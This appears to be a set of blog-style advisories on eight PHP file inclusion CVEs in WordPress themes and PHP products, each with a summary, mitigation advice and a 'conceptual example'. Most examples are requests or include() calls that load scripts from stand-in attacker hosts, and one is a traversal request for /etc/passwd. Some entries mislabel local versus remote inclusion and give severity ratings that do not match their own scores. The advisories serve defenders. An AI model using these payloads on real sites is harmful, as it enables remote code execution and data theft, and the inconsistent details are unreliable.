Author: Ameeba

Overview

CVE-2025-52723 is a significant cybersecurity vulnerability for organizations utilizing the Networker software from codesupplyco. This vulnerability is a significant threat due to its improper handling of filenames for include/require statements in PHP programs. It specifically pertains to the PHP Remote File Inclusion (RFI) vulnerability, which could potentially grant unauthorized access to the system or lead to data leakage. Businesses relying heavily on Networker software should be aware of this vulnerability and take immediate actions to mitigate its potential threats.

Vulnerability Summary

CVE ID: CVE-2025-52723
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Networker | n/a through 1.2.0

How the Exploit Works

The exploit takes advantage of the improper control of filenames for include/require statements in PHP programs within Networker. An attacker could manipulate these statements to inject malicious scripts into the server, leading to unauthorized access and potential data leakage. This vulnerability essentially allows an attacker to include a remote file, usually through a URL passed to the PHP include() or require() function.

Conceptual Example Code

The following pseudocode illustrates how the vulnerability might be exploited:

<?php
// The attacker injects a URL of a malicious script into the include function
$malicious_url = 'http://attacker.com/malicious_script.php';
include($malicious_url);
?>

In this conceptual example, the attacker injects a URL of a malicious script into the include function. This script gets executed on the server, leading to unauthorized access and potential data leakage.

Mitigation Guidance

The most effective way to mitigate the risks associated with CVE-2025-52723 is to apply the vendor-provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to temporarily mitigate the vulnerability by detecting and blocking malicious traffic. Regularly updating and patching your software is crucial to protect your systems against such vulnerabilities.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities being discovered and exploited regularly. CVE-2025-49886 is one such vulnerability that affects WebGeniusLab’s Zikzag Core, a popular PHP application. This critical flaw, referred to as a PHP Remote File Inclusion vulnerability, exposes the affected systems to potential compromise and data leakage. Its severity underscores the importance of maintaining updated systems and implementing robust cybersecurity measures.

Vulnerability Summary

CVE ID: CVE-2025-49886
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WebGeniusLab Zikzag Core | n/a through 1.4.5

How the Exploit Works

CVE-2025-49886 is a PHP Local File Inclusion (LFI) vulnerability that stems from improper control of filename for Include/Require statement in the PHP program. An attacker can leverage this flaw to include files from external servers, leading to the execution of malicious scripts. The flaw grants the attacker the potential to execute any PHP code of their choice on the vulnerable system, leading to system compromise and possible data leakage.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability:

GET /index.php?page=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker injects a link to a malicious PHP script (`http://malicious.example.com/malicious_script.txt`) in the `page` parameter. The server processes the request and includes the malicious script from the external server, leading to the execution of the malicious code.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-provided patch for Zikzag Core as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also recommended to disable the inclusion of remote files in the PHP configuration by setting `allow_url_include` to `Off`.

Overview

The CVE-2025-49416, a critical vulnerability, has been identified in Fastw3b LLC’s FW Gallery, a popular digital media management software. The weakness arises from an improper control of filename for Include/Require Statement in the PHP program, also known as ‘PHP Remote File Inclusion’. This vulnerability, left unpatched, could potentially lead to a system compromise or data leakage. Given the widespread use of FW Gallery in hosting and managing digital media, this vulnerability’s impact is significant and warrants immediate attention from administrators and developers.

Vulnerability Summary

CVE ID: CVE-2025-49416
Severity: High, CVSS score of 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Fastw3b LLC FW Gallery | Through 8.0.0

How the Exploit Works

The vulnerability stems from improper control of a filename that is used in a PHP ‘include’ or ‘require’ statement. An attacker can manipulate the filename to include a file from a remote server, thus leading to PHP Remote File Inclusion. This allows the attacker to execute arbitrary PHP code on the targeted system. The attacker can then leverage this to compromise the system or exfiltrate data.

Conceptual Example Code

A conceptual representation of how the vulnerability might be exploited is shown below:

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker has manipulated the ‘file’ query parameter in the URL to include a PHP file (`malicious.php`) from their own server (`attacker.com`). When this request is processed by the server, the PHP code in `malicious.php` is executed, compromising the system.

Mitigation Measures

Affected users should apply the vendor patch as soon as it is available. As temporary mitigation, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to prevent exploitation of the vulnerability. These systems should be configured to block requests where the ‘file‘ parameter includes a remote URL. Additionally, administrators should monitor system logs for any suspicious activity.

Overview

The PHP Local File Inclusion vulnerability, designated as CVE-2025-30992, is a critical security flaw found in the Thembay Puca software. This vulnerability is of particular concern due to its potential to facilitate unauthorized access to sensitive data or even a complete system compromise. As the bug originates from an improper control of filename for include/require statement in a PHP program, it presents a significant risk to any system running affected versions of Thembay Puca.

Vulnerability Summary

CVE ID: CVE-2025-30992
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Puca | Up to and including 2.6.33

How the Exploit Works

The PHP Remote File Inclusion vulnerability is a type of vulnerability that allows an attacker to inject a remote file into the server via a PHP script. This is possible due to weak validation of the ‘include’ and ‘require’ statements in the script. When improperly handled, these statements can be manipulated to include files from remote servers, which may contain malicious code.
In the case of CVE-2025-30992, the vulnerability lies within Thembay Puca’s improper control of filename for include/require statement, which could be exploited to include arbitrary local files from the server. This could potentially lead to a full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example demonstrating how an attacker might exploit this vulnerability. This example supposes a malicious actor issuing an HTTP request to a vulnerable endpoint, using a manipulated file path to include a local file:

GET /vulnerable/endpoint?file=../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker attempts to include the ‘/etc/passwd’ file, a crucial system file that contains user account details. If successful, the attacker would have unauthorized access to sensitive data.
Please note that this is a simplified example for illustrative purposes only. Real-world exploits may involve more complex methods and additional steps to bypass security measures.

Overview

The CVE-2025-28998 is a serious security vulnerability detected in the SERPed.net PHP program that may potentially lead to system compromise or data leakage. This vulnerability is based on improper control of filename for Include/Require statement in PHP program, also known as ‘PHP Remote File Inclusion’. This flaw affects a wide range of SERPed.net versions, specifically from n/a through 4.6, and poses a significant threat to the integrity and confidentiality of the affected systems, making this issue crucial to address.

Vulnerability Summary

CVE ID: CVE-2025-28998
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

SERPed.net | n/a – 4.6

How the Exploit Works

The exploit works by taking advantage of the improper control of filenames in the PHP program’s Include/Require statement. It allows an attacker to include a remote file from an external server, which gets executed in the context of the application. This allows the attacker to execute arbitrary code, potentially leading to full system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This HTTP request demonstrates how a malicious payload in the form of a remote file could be included and executed on the server:

GET /vulnerable_page.php?file=http://malicious_server/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `vulnerable_page.php` is the PHP page that contains the vulnerable Include/Require statement. The `file` parameter is manipulated to include a remote file (`malicious_file.php`) from a malicious server (`malicious_server`). When the request is processed, the malicious file is included and executed on the server.

Mitigation Guidance

To mitigate the vulnerability, the immediate recommendation is to apply the vendor-supplied patch. In the event that a patch isn’t available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these solutions do not completely resolve the vulnerability but rather add an additional layer of security to the system. It is strongly recommended to apply the vendor patch as soon as it becomes available to ensure the integrity and confidentiality of your systems and data.

Overview

The cybersecurity community has identified a critical vulnerability, tagged as CVE-2025-28990, affecting the popular snstheme SNS Vicky. This vulnerability, classified as a PHP Remote File Inclusion, could potentially allow attackers to include files from remote servers, leading to potential system compromise or data leakage. Given the severity and the widespread usage of the SNS Vicky, it is critical for all users and system administrators to understand the nature of this vulnerability, implement necessary mitigation strategies, and stay updated on the latest security patches.

Vulnerability Summary

CVE ID: CVE-2025-28990
Severity: Critical, CVSS Score of 8.1
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

snstheme SNS Vicky | n/a through 3.7

How the Exploit Works

The vulnerability lies in the improper control of filename for an include/require statement in the PHP program of SNS Vicky. An attacker can exploit this vulnerability by manipulating the file name in the include/require statement to reference a remotely hosted file. The PHP program then includes the remote file in its execution, potentially leading to execution of arbitrary code, unauthorized access, or information disclosure.

Conceptual Example Code

The following pseudocode illustrates a conceptual example of how the vulnerability might be exploited:

// Malicious user input
$userInput = 'http://malicious.com/shell.php';
// Vulnerable include/require statement
include($userInput);

In this example, instead of specifying a local file, a URL to a malicious file is provided. The PHP program then includes this malicious file in its execution leading to unwanted consequences.

Mitigation Guidance

The best way to mitigate this vulnerability is to apply the security patch provided by the vendor. If the patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer a temporary mitigation. Furthermore, it is recommended to sanitize all user inputs and avoid using user input directly in include/require statements to prevent such vulnerabilities.

Overview

The CVE-2025-28947 vulnerability is a critical security flaw that affects the popular MBStore – Digital WooCommerce WordPress Theme. This loophole is a PHP Remote File Inclusion vulnerability that allows for PHP Local File Inclusion, potentially leading to complete system compromise or significant data leakage. Given the popularity of MBStore and its extensive use in building online stores, this vulnerability poses a significant risk to a large number of eCommerce websites.

Vulnerability Summary

CVE ID: CVE-2025-28947
Severity: Critical, with a CVSS Severity Score of 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

MBStore – Digital WooCommerce WordPress Theme | Up to Version 2.3

How the Exploit Works

The vulnerability lies in the improper control of filename for include/require statement in the PHP program of the MBStore theme. This loophole allows a malicious actor to include files from external servers, which can result in the execution of arbitrary code. The code execution occurs within the context of the application and may allow the attacker to steal sensitive data or gain privileged access to the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker crafts a URL that triggers the vulnerable include/require statement, causing the application to fetch and execute a malicious PHP file hosted on the attacker’s server.

GET /index.php?page=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In this example, the “malicious_file.php” could contain code that compromises the system or exfiltrates data.

Mitigation and Patching

To mitigate the risk posed by this vulnerability, it is advised to apply the vendor-supplied patch at the earliest convenience. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary measure to help prevent the exploit. Regularly updating and patching your systems can significantly reduce the risk of such vulnerabilities.

Overview

CVE-2025-28946 is a critical vulnerability that exists due to improper control of a filename for the include/require statement in a PHP program. This is also known as a ‘PHP Remote File Inclusion’ vulnerability. It affects the BZOTheme PrintXtore software and versions up to and including 1.7.5 are at risk. This vulnerability is significant due to its high severity score and its potential to compromise systems and lead to data leakage. As PHP is a widely used language for web development, this vulnerability could have widespread implications if not adequately addressed.

Vulnerability Summary

CVE ID: CVE-2025-28946
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme PrintXtore | Up to and including 1.7.5

How the Exploit Works

The vulnerability arises from the improper control of a filename in the include/require statement of a PHP program. This allows an attacker to remotely include a file from a remote server, which could contain malicious PHP code. Once included and executed, the malicious code can compromise the system and potentially lead to data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

<?php
// Malicious remote file to be included
$evil_file = "http://attacker.com/malicious_file.php";
// Vulnerable include statement
include($evil_file);
?>

In this example, the attacker controls the `$evil_file` variable and sets it to a URL hosting their malicious PHP file. The vulnerable include statement then includes and executes this file, potentially leading to a system compromise.

Mitigation

To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability.
In the long term, developers should practice secure coding to prevent such vulnerabilities. This includes proper input validation, especially for include/require statements, and ensuring that only local files can be included.